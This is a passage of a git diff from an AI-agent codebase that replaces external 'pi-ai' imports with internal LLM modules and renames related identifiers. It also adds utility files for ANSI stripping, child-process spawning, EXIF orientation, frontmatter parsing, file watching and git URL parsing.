a/src/agents/tools/pdf-native-providers.ts b/src/agents/tools/pdf-native-providers.ts index f489aae1be7..fd46cc84beb 100644 --- a/src/agents/tools/pdf-native-providers.ts +++ b/src/agents/tools/pdf-native-providers.ts @@ -1,6 +1,6 @@ /** * Direct SDK/HTTP calls for providers that support native PDF document input. - * This bypasses pi-ai's content type system which does not have a "document" type. + * This bypasses shared model runtime's content type system which does not have a "document" type. */ import { normalizeProviderTransportWithPlugin } from "../../plugins/provider-runtime.js"; diff --git a/src/agents/tools/pdf-tool.helpers.ts b/src/agents/tools/pdf-tool.helpers.ts index 3f54f68612c..baa846eb488 100644 --- a/src/agents/tools/pdf-tool.helpers.ts +++ b/src/agents/tools/pdf-tool.helpers.ts @@ -1,11 +1,11 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; import { resolveAgentModelFallbackValues, resolveAgentModelPrimaryValue, } from "../../config/model-input.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { AssistantMessage } from "../../llm/types.js"; import { providerSupportsNativePdfDocument } from "../../media-understanding/defaults.js"; -import { extractAssistantText } from "../pi-embedded-utils.js"; +import { extractAssistantText } from "../embedded-agent-utils.js"; export type PdfModelConfig = { primary?: string; fallbacks?: string[] }; diff --git a/src/agents/tools/pdf-tool.test.ts b/src/agents/tools/pdf-tool.test.ts index d0d44c1a9e1..5f6f6b7cd4b 100644 --- a/src/agents/tools/pdf-tool.test.ts +++ b/src/agents/tools/pdf-tool.test.ts @@ -5,19 +5,18 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; import * as pdfExtractModule from "../../media/pdf-extract.js"; import * as webMedia from "../../media/web-media.js"; +import * as modelDiscovery from "../agent-model-discovery.js"; import type { AuthProfileStore } from "../auth-profiles/types.js"; import * as modelAuth from "../model-auth.js"; import * as modelsConfig from "../models-config.js"; -import * as modelDiscovery from "../pi-model-discovery.js"; import * as pdfNativeProviders from "./pdf-native-providers.js"; import * as pdfModelConfigModule from "./pdf-tool.model-config.js"; import { resetPdfToolAuthEnv, withTempPdfAgentDir } from "./pdf-tool.test-support.js"; const completeMock = vi.hoisted(() => vi.fn()); -vi.mock("@earendil-works/pi-ai", async () => { - const actual = - await vi.importActual("@earendil-works/pi-ai"); +vi.mock("../../llm/stream.js", async () => { + const actual = await vi.importActual("../../llm/stream.js"); return { ...actual, complete: completeMock, diff --git a/src/agents/tools/pdf-tool.ts b/src/agents/tools/pdf-tool.ts index 4e29316e28a..2211eb42fd1 100644 --- a/src/agents/tools/pdf-tool.ts +++ b/src/agents/tools/pdf-tool.ts @@ -1,6 +1,7 @@ -import { type Context, complete } from "@earendil-works/pi-ai"; import { Type } from "typebox"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import { complete } from "../../llm/stream.js"; +import type { Context } from "../../llm/types.js"; import { classifyMediaReferenceSource, normalizeMediaReferenceSource, diff --git a/src/agents/tools/sessions-send-helpers.ts b/src/agents/tools/sessions-send-helpers.ts index 7e439278b46..d886e282882 100644 --- a/src/agents/tools/sessions-send-helpers.ts +++ b/src/agents/tools/sessions-send-helpers.ts @@ -12,7 +12,7 @@ export { isReplySkip, } from "./sessions-send-tokens.js"; -const DEFAULT_PING_PONG_TURNS = 5; +const DEFAULT_AGENTNG_PONG_TURNS = 5; const MAX_PING_PONG_TURNS = 20; export type AnnounceTarget = { @@ -121,7 +121,7 @@ export function buildAgentToAgentAnnounceContext(params: { export function resolvePingPongTurns(cfg?: OpenClawConfig) { const raw = cfg?.session?.agentToAgent?.maxPingPongTurns; - const fallback = DEFAULT_PING_PONG_TURNS; + const fallback = DEFAULT_AGENTNG_PONG_TURNS; if (typeof raw !== "number" || !Number.isFinite(raw)) { return fallback; } diff --git a/src/agents/tools/sessions-send-tool.ts b/src/agents/tools/sessions-send-tool.ts index 1b7ebbbfa9b..6a5f292ed1f 100644 --- a/src/agents/tools/sessions-send-tool.ts +++ b/src/agents/tools/sessions-send-tool.ts @@ -20,13 +20,13 @@ import { INTERNAL_MESSAGE_CHANNEL, } from "../../utils/message-channel.js"; import { listAgentIds } from "../agent-scope.js"; -import { resolveNestedAgentLaneForSession } from "../lanes.js"; import { - type EmbeddedPiQueueMessageOptions, - formatEmbeddedPiQueueFailureSummary, - queueEmbeddedPiMessageWithOutcomeAsync, + type EmbeddedAgentQueueMessageOptions, + formatEmbeddedAgentQueueFailureSummary, + queueEmbeddedAgentMessageWithOutcomeAsync, resolveActiveEmbeddedRunSessionId, -} from "../pi-embedded-runner/runs.js"; +} from "../embedded-agent-runner/runs.js"; +import { resolveNestedAgentLaneForSession } from "../lanes.js"; import { type AgentWaitResult, readLatestAssistantReplySnapshot, @@ -188,13 +188,13 @@ async function startAgentRun(params: { const messageText = typeof params.sendParams.message === "string" ? params.sendParams.message : undefined; if (activeRunSessionId && fallbackSessionKey && messageText) { - const queueOptions: EmbeddedPiQueueMessageOptions = { + const queueOptions: EmbeddedAgentQueueMessageOptions = { steeringMode: "all", debounceMs: 0, deliveryTimeoutMs: params.deliveryTimeoutMs, waitForTranscriptCommit: true, }; - let queueOutcome = await queueEmbeddedPiMessageWithOutcomeAsync( + let queueOutcome = await queueEmbeddedAgentMessageWithOutcomeAsync( activeRunSessionId, messageText, queueOptions, @@ -202,7 +202,7 @@ async function startAgentRun(params: { if (!queueOutcome.queued && queueOutcome.reason === "transcript_commit_wait_unsupported") { const bestEffortQueueOptions = { ...queueOptions }; delete bestEffortQueueOptions.waitForTranscriptCommit; - queueOutcome = await queueEmbeddedPiMessageWithOutcomeAsync( + queueOutcome = await queueEmbeddedAgentMessageWithOutcomeAsync( activeRunSessionId, messageText, bestEffortQueueOptions, @@ -230,7 +230,7 @@ async function startAgentRun(params: { }; } catch (err) { const queueSummary = - formatEmbeddedPiQueueFailureSummary(queueOutcome) ?? "active run queue rejected"; + formatEmbeddedAgentQueueFailureSummary(queueOutcome) ?? "active run queue rejected"; throw new Error(`${queueSummary}; fallback_failed error=${formatErrorMessage(err)}`, { cause: err, }); diff --git a/src/agents/tools/tool-runtime.helpers.ts b/src/agents/tools/tool-runtime.helpers.ts index 664b256809d..f3d852d3fd3 100644 --- a/src/agents/tools/tool-runtime.helpers.ts +++ b/src/agents/tools/tool-runtime.helpers.ts @@ -1,7 +1,7 @@ export { getApiKeyForModel, requireApiKey } from "../model-auth.js"; export { runWithImageModelFallback } from "../model-fallback.js"; export { ensureOpenClawModelsJson } from "../models-config.js"; -export { discoverAuthStorage, discoverModels } from "../pi-model-discovery.js"; +export { discoverAuthStorage, discoverModels } from "../agent-model-discovery.js"; export { createSandboxBridgeReadFile, resolveSandboxedBridgeMediaPath, diff --git a/src/agents/transcript-policy.ts b/src/agents/transcript-policy.ts index 99d350a5f8a..73b72af63f7 100644 --- a/src/agents/transcript-policy.ts +++ b/src/agents/transcript-policy.ts @@ -6,8 +6,8 @@ import { shouldPreserveThinkingBlocks } from "../plugins/provider-replay-helpers import type { ProviderRuntimeModel } from "../plugins/provider-runtime-model.types.js"; import type { ProviderReplayPolicy } from "../plugins/types.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; +import { isGoogleModelApi } from "./embedded-agent-helpers/google.js"; import { normalizeProviderId } from "./model-selection.js"; -import { isGoogleModelApi } from "./pi-embedded-helpers/google.js"; import type { ToolCallIdMode } from "./tool-call-id.js"; export type TranscriptSanitizeMode = "full" | "images-only"; @@ -303,6 +303,7 @@ export function resolveTranscriptPolicy(params: { (provider ? resolveProviderRuntimePlugin({ provider, + modelId: params.modelId, config: params.config, workspaceDir: params.workspaceDir, env: params.env, diff --git a/src/agents/transcript-redact.test.ts b/src/agents/transcript-redact.test.ts index fb65e5e475d..b07b07276c2 100644 --- a/src/agents/transcript-redact.test.ts +++ b/src/agents/transcript-redact.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { redactTranscriptMessage } from "./transcript-redact.js"; diff --git a/src/agents/transcript-redact.ts b/src/agents/transcript-redact.ts index 53746a34df2..119ee6a40bb 100644 --- a/src/agents/transcript-redact.ts +++ b/src/agents/transcript-redact.ts @@ -1,4 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { readLoggingConfig } from "../logging/config.js"; import { @@ -6,6 +5,7 @@ import { redactSensitiveFieldValue, redactSensitiveText, } from "../logging/redact.js"; +import type { AgentMessage } from "./runtime/index.js"; function resolveTranscriptRedactPatterns(patterns?: string[]) { return patterns && patterns.length > 0 ? [...patterns, ...getDefaultRedactPatterns()] : undefined; diff --git a/src/agents/transport-message-transform.test.ts b/src/agents/transport-message-transform.test.ts index 7fd44f49fcf..453ffa0cd1b 100644 --- a/src/agents/transport-message-transform.test.ts +++ b/src/agents/transport-message-transform.test.ts @@ -1,9 +1,9 @@ -import type { Api, Context, Model } from "@earendil-works/pi-ai"; +import type { Api, Context, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { transformTransportMessages } from "./transport-message-transform.js"; -function makeModel(api: Api, provider: string, id: string): Model { - return { api, provider, id, input: [], output: [] } as unknown as Model; +function makeModel(api: Api, provider: string, id: string): Model { + return { api, provider, id, input: [], output: [] } as unknown as Model; } type ToolResultMessage = Extract; diff --git a/src/agents/transport-message-transform.ts b/src/agents/transport-message-transform.ts index 2eb2a625a8d..7f7d134b7a8 100644 --- a/src/agents/transport-message-transform.ts +++ b/src/agents/transport-message-transform.ts @@ -1,4 +1,4 @@ -import type { Api, Context, Model } from "@earendil-works/pi-ai"; +import type { Api, Context, Model } from "../llm/types.js"; import { repairToolUseResultPairing } from "./session-transcript-repair.js"; const SYNTHETIC_TOOL_RESULT_APIS = new Set([ @@ -39,10 +39,10 @@ function isFailedAssistantTurn(message: Context["messages"][number]): boolean { export function transformTransportMessages( messages: Context["messages"], - model: Model, + model: Model, normalizeToolCallId?: ( id: string, - targetModel: Model, + targetModel: Model, source: { provider: string; api: Api; model: string }, ) => string, options?: { @@ -134,7 +134,7 @@ export function transformTransportMessages( return replayable; } - // PI's local transform can synthesize missing results, but it does not move + // The local transport transform can synthesize missing results, but it does not move // displaced real results back before an intervening user turn. Shared repair // handles both, while preserving the previous transport behavior of dropping // aborted/error assistant tool-call turns before replaying strict providers. diff --git a/src/agents/transport-params-runtime-contract.test.ts b/src/agents/transport-params-runtime-contract.test.ts index f86fc626d94..c0039419217 100644 --- a/src/agents/transport-params-runtime-contract.test.ts +++ b/src/agents/transport-params-runtime-contract.test.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { GPT_PARALLEL_TOOL_CALLS_PAYLOAD_APIS, @@ -8,13 +8,13 @@ import { OPENAI_GPT5_TRANSPORT_DEFAULTS, UNRELATED_TOOL_CALLS_PAYLOAD_APIS, } from "../../test/helpers/agents/transport-params-runtime-contract.js"; +import { createOpenAIThinkingLevelWrapper } from "../llm/providers/stream-wrappers/openai.js"; import { testing as extraParamsTesting, applyExtraParamsToAgent, resolveExtraParams, resolvePreparedExtraParams, -} from "./pi-embedded-runner/extra-params.js"; -import { createOpenAIThinkingLevelWrapper } from "./pi-embedded-runner/openai-stream-wrappers.js"; +} from "./embedded-agent-runner/extra-params.js"; import { supportsGptParallelToolCallsPayload } from "./provider-api-families.js"; beforeEach(() => { @@ -25,7 +25,7 @@ afterEach(() => { extraParamsTesting.resetProviderRuntimeDepsForTest(); }); -describe("transport params runtime contract (Pi/OpenAI path)", () => { +describe("transport params runtime contract (embedded OpenClaw/OpenAI path)", () => { it.each(OPENAI_GPT5_TRANSPORT_DEFAULT_CASES)( "applies OpenAI GPT-5 transport defaults for $provider/$modelId", ({ provider, modelId }) => { diff --git a/src/agents/transport-stream-shared.ts b/src/agents/transport-stream-shared.ts index ac7ba712d52..4c55031e7d7 100644 --- a/src/agents/transport-stream-shared.ts +++ b/src/agents/transport-stream-shared.ts @@ -1,4 +1,4 @@ -import { createAssistantMessageEventStream } from "@earendil-works/pi-ai"; +import { createAssistantMessageEventStream } from "../llm/utils/event-stream.js"; import { redactSensitiveText } from "../logging/redact.js"; import { truncateErrorDetail } from "./provider-http-errors.js"; diff --git a/src/agents/usage.test.ts b/src/agents/usage.test.ts index 6b8dd7085f4..75f29709974 100644 --- a/src/agents/usage.test.ts +++ b/src/agents/usage.test.ts @@ -126,7 +126,7 @@ describe("normalizeUsage", () => { }); it("clamps negative input to zero (pre-subtracted cached_tokens > prompt_tokens)", () => { - // pi-ai OpenAI-format providers subtract cached_tokens from prompt_tokens + // shared model runtime OpenAI-format providers subtract cached_tokens from prompt_tokens // upstream. When cached_tokens exceeds prompt_tokens the result is negative. const usage = normalizeUsage({ input: -4900, diff --git a/src/agents/usage.ts b/src/agents/usage.ts index 72feb076577..bfeec32a839 100644 --- a/src/agents/usage.ts +++ b/src/agents/usage.ts @@ -143,7 +143,7 @@ export function normalizeUsage(raw?: UsageLike | null): NormalizedUsage | undefi raw.input_tokens_details?.cached_tokens !== undefined || raw.prompt_tokens_details?.cached_tokens !== undefined; - // Some providers (pi-ai OpenAI-format) pre-subtract cached_tokens from + // Some providers (shared model runtime OpenAI-format) pre-subtract cached_tokens from // prompt/input totals upstream, while OpenAI-style prompt/input aliases // include cached tokens in the reported prompt total. Normalize both cases // to uncached input tokens so downstream prompt-token math does not double- diff --git a/src/agents/utils/ansi.ts b/src/agents/utils/ansi.ts new file mode 100644 index 00000000000..e90fa14d936 --- /dev/null +++ b/src/agents/utils/ansi.ts @@ -0,0 +1,60 @@ +/* + * Portions of this file are derived from: + * - ansi-regex (https://github.com/chalk/ansi-regex) + * - strip-ansi (https://github.com/chalk/strip-ansi) + * + * MIT License + * + * Copyright (c) Sindre Sorhus (https://sindresorhus.com) + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ + +function ansiRegex({ onlyFirst = false }: { onlyFirst?: boolean } = {}): RegExp { + // Valid string terminator sequences are BEL, ESC\, and 0x9c + const ST = "(?:\\u0007|\\u001B\\u005C|\\u009C)"; + + // OSC sequences only: ESC ] ... ST (non-greedy until the first ST) + const osc = `(?:\\u001B\\][\\s\\S]*?${ST})`; + + // CSI and related: ESC/C1, optional intermediates, optional params (supports ; and :) then final byte + const csi = "[\\u001B\\u009B][[\\]()#;?]*(?:\\d{1,4}(?:[;:]\\d{0,4})*)?[\\dA-PR-TZcf-nq-uy=><~]"; + + const pattern = `${osc}|${csi}`; + + return new RegExp(pattern, onlyFirst ? undefined : "g"); +} + +const regex = ansiRegex(); + +export function stripAnsi(value: string): string { + if (typeof value !== "string") { + throw new TypeError(`Expected a \`string\`, got \`${typeof value}\``); + } + + // Fast path: ANSI codes require ESC (7-bit) or CSI (8-bit) introducer + if (!value.includes("\u001B") && !value.includes("\u009B")) { + return value; + } + + // Even though the regex is global, we don't need to reset the `.lastIndex` + // because unlike `.exec()` and `.test()`, `.replace()` does it automatically + // and doing it manually has a performance penalty. + return value.replace(regex, ""); +} diff --git a/src/agents/utils/child-process.ts b/src/agents/utils/child-process.ts new file mode 100644 index 00000000000..eaeb0dac449 --- /dev/null +++ b/src/agents/utils/child-process.ts @@ -0,0 +1,127 @@ +import { + type ChildProcess, + type ChildProcessByStdio, + spawn as nodeSpawn, + spawnSync as nodeSpawnSync, + type SpawnOptions, + type SpawnOptionsWithStdioTuple, + type SpawnSyncOptionsWithStringEncoding, + type SpawnSyncReturns, + type StdioNull, + type StdioPipe, +} from "node:child_process"; +import type { Readable } from "node:stream"; +import crossSpawn from "cross-spawn"; + +const EXIT_STDIO_GRACE_MS = 100; + +export function spawnProcess( + command: string, + args: string[], + options: SpawnOptionsWithStdioTuple, +): ChildProcessByStdio; +export function spawnProcess(command: string, args: string[], options: SpawnOptions): ChildProcess; +export function spawnProcess(command: string, args: string[], options: SpawnOptions): ChildProcess { + return process.platform === "win32" + ? crossSpawn(command, args, options) + : nodeSpawn(command, args, options); +} + +export function spawnProcessSync( + command: string, + args: string[], + options: SpawnSyncOptionsWithStringEncoding, +): SpawnSyncReturns { + return process.platform === "win32" + ? crossSpawn.sync(command, args, options) + : nodeSpawnSync(command, args, options); +} + +/** + * Wait for a child process to terminate without hanging on inherited stdio handles. + * + * On Windows, daemonized descendants can inherit the child's stdout/stderr pipe + * handles. In that case the child emits `exit`, but `close` can hang forever even + * though the original process is already gone. We wait briefly for stdio to end, + * then forcibly stop tracking the inherited handles. + */ +export function waitForChildProcess(child: ChildProcess): Promise { + return new Promise((resolve, reject) => { + let settled = false; + let exited = false; + let exitCode: number | null = null; + let postExitTimer: NodeJS.Timeout | undefined; + let stdoutEnded = child.stdout === null; + let stderrEnded = child.stderr === null; + + const cleanup = () => { + if (postExitTimer) { + clearTimeout(postExitTimer); + postExitTimer = undefined; + } + child.removeListener("error", onError); + child.removeListener("exit", onExit); + child.removeListener("close", onClose); + child.stdout?.removeListener("end", onStdoutEnd); + child.stderr?.removeListener("end", onStderrEnd); + }; + + const finalize = (code: number | null) => { + if (settled) { + return; + } + settled = true; + cleanup(); + child.stdout?.destroy(); + child.stderr?.destroy(); + resolve(code); + }; + + const maybeFinalizeAfterExit = () => { + if (!exited || settled) { + return; + } + if (stdoutEnded && stderrEnded) { + finalize(exitCode); + } + }; + + const onStdoutEnd = () => { + stdoutEnded = true; + maybeFinalizeAfterExit(); + }; + + const onStderrEnd = () => { + stderrEnded = true; + maybeFinalizeAfterExit(); + }; + + const onError = (err: Error) => { + if (settled) { + return; + } + settled = true; + cleanup(); + reject(err); + }; + + const onExit = (code: number | null) => { + exited = true; + exitCode = code; + maybeFinalizeAfterExit(); + if (!settled) { + postExitTimer = setTimeout(() => finalize(code), EXIT_STDIO_GRACE_MS); + } + }; + + const onClose = (code: number | null) => { + finalize(code); + }; + + child.stdout?.once("end", onStdoutEnd); + child.stderr?.once("end", onStderrEnd); + child.once("error", onError); + child.once("exit", onExit); + child.once("close", onClose); + }); +} diff --git a/src/agents/utils/exif-orientation.ts b/src/agents/utils/exif-orientation.ts new file mode 100644 index 00000000000..0694af4e0a0 --- /dev/null +++ b/src/agents/utils/exif-orientation.ts @@ -0,0 +1,220 @@ +import type { PhotonImageType } from "./photon.js"; + +type Photon = typeof import("@silvia-odwyer/photon-node"); + +function readOrientationFromTiff(bytes: Uint8Array, tiffStart: number): number { + if (tiffStart + 8 > bytes.length) { + return 1; + } + + const byteOrder = (bytes[tiffStart] << 8) | bytes[tiffStart + 1]; + const le = byteOrder === 0x4949; + + const read16 = (pos: number): number => { + if (le) { + return bytes[pos] | (bytes[pos + 1] << 8); + } + return (bytes[pos] << 8) | bytes[pos + 1]; + }; + + const read32 = (pos: number): number => { + if (le) { + return bytes[pos] | (bytes[pos + 1] << 8) | (bytes[pos + 2] << 16) | (bytes[pos + 3] << 24); + } + return ( + ((bytes[pos] << 24) | (bytes[pos + 1] << 16) | (bytes[pos + 2] << 8) | bytes[pos + 3]) >>> 0 + ); + }; + + const ifdOffset = read32(tiffStart + 4); + const ifdStart = tiffStart + ifdOffset; + if (ifdStart + 2 > bytes.length) { + return 1; + } + + const entryCount = read16(ifdStart); + for (let i = 0; i < entryCount; i++) { + const entryPos = ifdStart + 2 + i * 12; + if (entryPos + 12 > bytes.length) { + return 1; + } + + if (read16(entryPos) === 0x0112) { + const value = read16(entryPos + 8); + return value >= 1 && value <= 8 ? value : 1; + } + } + + return 1; +} + +function findJpegTiffOffset(bytes: Uint8Array): number { + let offset = 2; + while (offset < bytes.length - 1) { + if (bytes[offset] !== 0xff) { + return -1; + } + const marker = bytes[offset + 1]; + if (marker === 0xff) { + offset++; + continue; + } + + if (marker === 0xe1) { + if (offset + 4 >= bytes.length) { + return -1; + } + const segmentStart = offset + 4; + if (segmentStart + 6 > bytes.length) { + return -1; + } + if (!hasExifHeader(bytes, segmentStart)) { + return -1; + } + return segmentStart + 6; + } + + if (offset + 4 > bytes.length) { + return -1; + } + const length = (bytes[offset + 2] << 8) | bytes[offset + 3]; + offset += 2 + length; + } + + return -1; +} + +function findWebpTiffOffset(bytes: Uint8Array): number { + let offset = 12; + while (offset + 8 <= bytes.length) { + const chunkId = String.fromCharCode( + bytes[offset], + bytes[offset + 1], + bytes[offset + 2], + bytes[offset + 3], + ); + const chunkSize = + bytes[offset + 4] | + (bytes[offset + 5] << 8) | + (bytes[offset + 6] << 16) | + (bytes[offset + 7] << 24); + const dataStart = offset + 8; + + if (chunkId === "EXIF") { + if (dataStart + chunkSize > bytes.length) { + return -1; + } + // Some WebP files have "Exif\0\0" prefix before the TIFF header + const tiffStart = + chunkSize >= 6 && hasExifHeader(bytes, dataStart) ? dataStart + 6 : dataStart; + return tiffStart; + } + + // RIFF chunks are padded to even size + offset = dataStart + chunkSize + (chunkSize % 2); + } + + return -1; +} + +function hasExifHeader(bytes: Uint8Array, offset: number): boolean { + return ( + bytes[offset] === 0x45 && + bytes[offset + 1] === 0x78 && + bytes[offset + 2] === 0x69 && + bytes[offset + 3] === 0x66 && + bytes[offset + 4] === 0x00 && + bytes[offset + 5] === 0x00 + ); +} + +function getExifOrientation(bytes: Uint8Array): number { + let tiffOffset = -1; + + // JPEG: starts with FF D8 + if (bytes.length >= 2 && bytes[0] === 0xff && bytes[1] === 0xd8) { + tiffOffset = findJpegTiffOffset(bytes); + } + // WebP: starts with RIFF....WEBP + else if ( + bytes.length >= 12 && + bytes[0] === 0x52 && + bytes[1] === 0x49 && + bytes[2] === 0x46 && + bytes[3] === 0x46 && + bytes[8] === 0x57 && + bytes[9] === 0x45 && + bytes[10] === 0x42 && + bytes[11] === 0x50 + ) { + tiffOffset = findWebpTiffOffset(bytes); + } + + if (tiffOffset === -1) { + return 1; + } + return readOrientationFromTiff(bytes, tiffOffset); +} + +type DstIndexFn = (x: number, y: number, w: number, h: number) => number; + +function rotate90(photon: Photon, image: PhotonImageType, dstIndex: DstIndexFn): PhotonImageType { + const w = image.get_width(); + const h = image.get_height(); + const src = image.get_raw_pixels(); + const dst = new Uint8Array(src.length); + + for (let y = 0; y < h; y++) { + for (let x = 0; x < w; x++) { + const srcIdx = (y * w + x) * 4; + const dstIdx = dstIndex(x, y, w, h) * 4; + dst[dstIdx] = src[srcIdx]; + dst[dstIdx + 1] = src[srcIdx + 1]; + dst[dstIdx + 2] = src[srcIdx + 2]; + dst[dstIdx + 3] = src[srcIdx + 3]; + } + } + + return new photon.PhotonImage(dst, h, w); +} + +// Flip orientations mutate in-place. Rotations return a new image (caller must free the old one if different). +export function applyExifOrientation( + photon: Photon, + image: PhotonImageType, + originalBytes: Uint8Array, +): PhotonImageType { + const orientation = getExifOrientation(originalBytes); + if (orientation === 1) { + return image; + } + + switch (orientation) { + case 2: + photon.fliph(image); + return image; + case 3: + photon.fliph(image); + photon.flipv(image); + return image; + case 4: + photon.flipv(image); + return image; + case 5: { + const rotated = rotate90(photon, image, (x, y, _w, h) => x * h + (h - 1 - y)); + photon.fliph(rotated); + return rotated; + } + case 6: + return rotate90(photon, image, (x, y, _w, h) => x * h + (h - 1 - y)); + case 7: { + const rotated = rotate90(photon, image, (x, y, w, h) => (w - 1 - x) * h + y); + photon.fliph(rotated); + return rotated; + } + case 8: + return rotate90(photon, image, (x, y, w, h) => (w - 1 - x) * h + y); + default: + return image; + } +} diff --git a/src/agents/utils/frontmatter.ts b/src/agents/utils/frontmatter.ts new file mode 100644 index 00000000000..2d68ee2cce1 --- /dev/null +++ b/src/agents/utils/frontmatter.ts @@ -0,0 +1,40 @@ +import { parse } from "yaml"; + +type ParsedFrontmatter> = { + frontmatter: T; + body: string; +}; + +const normalizeNewlines = (value: string): string => + value.replace(/\r\n/g, "\n").replace(/\r/g, "\n"); + +const extractFrontmatter = (content: string): { yamlString: string | null; body: string } => { + const normalized = normalizeNewlines(content); + + if (!normalized.startsWith("---")) { + return { yamlString: null, body: normalized }; + } + + const endIndex = normalized.indexOf("\n---", 3); + if (endIndex === -1) { + return { yamlString: null, body: normalized }; + } + + return { + yamlString: normalized.slice(4, endIndex), + body: normalized.slice(endIndex + 4).trim(), + }; +}; + +export const parseFrontmatter = = Record>( + content: string, +): ParsedFrontmatter => { + const { yamlString, body } = extractFrontmatter(content); + if (!yamlString) { + return { frontmatter: {} as T, body }; + } + const parsed = parse(yamlString); + return { frontmatter: (parsed ?? {}) as T, body }; +}; + +export const stripFrontmatter = (content: string): string => parseFrontmatter(content).body; diff --git a/src/agents/utils/fs-watch.ts b/src/agents/utils/fs-watch.ts new file mode 100644 index 00000000000..746dddcfbaa --- /dev/null +++ b/src/agents/utils/fs-watch.ts @@ -0,0 +1,30 @@ +import { type FSWatcher, type WatchListener, watch } from "node:fs"; + +export const FS_WATCH_RETRY_DELAY_MS = 5000; + +export function closeWatcher(watcher: FSWatcher | null | undefined): void { + if (!watcher) { + return; + } + + try { + watcher.close(); + } catch { + // Ignore watcher close errors + } +} + +export function watchWithErrorHandler( + path: string, + listener: WatchListener, + onError: () => void, +): FSWatcher | null { + try { + const watcher = watch(path, listener); + watcher.on("error", onError); + return watcher; + } catch { + onError(); + return null; + } +} diff --git a/src/agents/utils/git.test.ts b/src/agents/utils/git.test.ts new file mode 100644 index 00000000000..d1585bd6812 --- /dev/null +++ b/src/agents/utils/git.test.ts @@ -0,0 +1,19 @@ +import { describe, expect, it } from "vitest"; +import { parseGitUrl } from "./git.js"; + +describe("parseGitUrl", () => { + it("parses ordinary hosted git sources", () => { + expect(parseGitUrl("git:github.com/openclaw/example-plugin")).toMatchObject({ + type: "git", + host: "github.com", + path: "openclaw/example-plugin", + repo: "https://github.com/openclaw/example-plugin", + }); + }); + + it("rejects repository paths that could escape managed checkout roots", () => { + expect(parseGitUrl("git:https://example.com/openclaw/../outside")).toBeNull(); + expect(parseGitUrl("git:git@example.com:openclaw/../outside")).toBeNull(); + expect(parseGitUrl("git:example.com/openclaw/./outside")).toBeNull(); + }); +}); diff --git a/src/agents/utils/git.ts b/src/agents/utils/git.ts new file mode 100644 index 00000000000..8710b976592 --- /dev/null +++ b/src/agents/utils/git.ts @@ -0,0 +1,233 @@ +import hostedGitInfo from "hosted-git-info"; + +/** + * Parsed git URL information. + */ +export type GitSource = { + /** Always "git" for git sources */ + type: "git"; + /** Clone URL (always valid for git clone, without ref suffix) */ + repo: string; + /** Git host domain (e.g., "github.com") */ + host: string; + /** Repository path (e.g., "user/repo") */ + path: string; + /** Git ref (branch, tag, commit) if specified */ + ref?: string; + /** True if ref was specified (package won't be auto-updated) */ + pinned: boolean; +}; + +function splitRef(url: string): { repo: string; ref?: string } { + const scpLikeMatch = url.match(/^git@([^:]+):(.+)$/); + if (scpLikeMatch) { + const pathWithMaybeRef = scpLikeMatch[2] ?? ""; + const refSeparator = pathWithMaybeRef.indexOf("@"); + if (refSeparator < 0) { + return { repo: url }; + } + const repoPath = pathWithMaybeRef.slice(0, refSeparator); + const ref = pathWithMaybeRef.slice(refSeparator + 1); + if (!repoPath || !ref) { + return { repo: url }; + } + return { + repo: `git@${scpLikeMatch[1] ?? ""}:${repoPath}`, + ref, + }; + } + + if (url.includes("://")) { + try { + const parsed = new URL(url); + const pathWithMaybeRef = parsed.pathname.replace(/^\/+/, ""); + const refSeparator = pathWithMaybeRef.indexOf("@"); + if (refSeparator < 0) { + return { repo: url }; + } + const repoPath = pathWithMaybeRef.slice(0, refSeparator); + const ref = pathWithMaybeRef.slice(refSeparator + 1); + if (!repoPath || !ref) { + return { repo: url }; + } + parsed.pathname = `/${repoPath}`; + return { + repo: parsed.toString().replace(/\/$/, ""), + ref, + }; + } catch { + return { repo: url }; + } + } + + const slashIndex = url.indexOf("/"); + if (slashIndex < 0) { + return { repo: url }; + } + const host = url.slice(0, slashIndex); + const pathWithMaybeRef = url.slice(slashIndex + 1); + const refSeparator = pathWithMaybeRef.indexOf("@"); + if (refSeparator < 0) { + return { repo: url }; + } + const repoPath = pathWithMaybeRef.slice(0, refSeparator); + const ref = pathWithMaybeRef.slice(refSeparator + 1); + if (!repoPath || !ref) { + return { repo: url }; + } + return { + repo: `${host}/${repoPath}`, + ref, + }; +} + +function parseGenericGitUrl(url: string): GitSource | null { + const { repo: repoWithoutRef, ref } = splitRef(url); + let repo = repoWithoutRef; + let host = ""; + let path = ""; + + const scpLikeMatch = repoWithoutRef.match(/^git@([^:]+):(.+)$/); + if (scpLikeMatch) { + host = scpLikeMatch[1] ?? ""; + path = 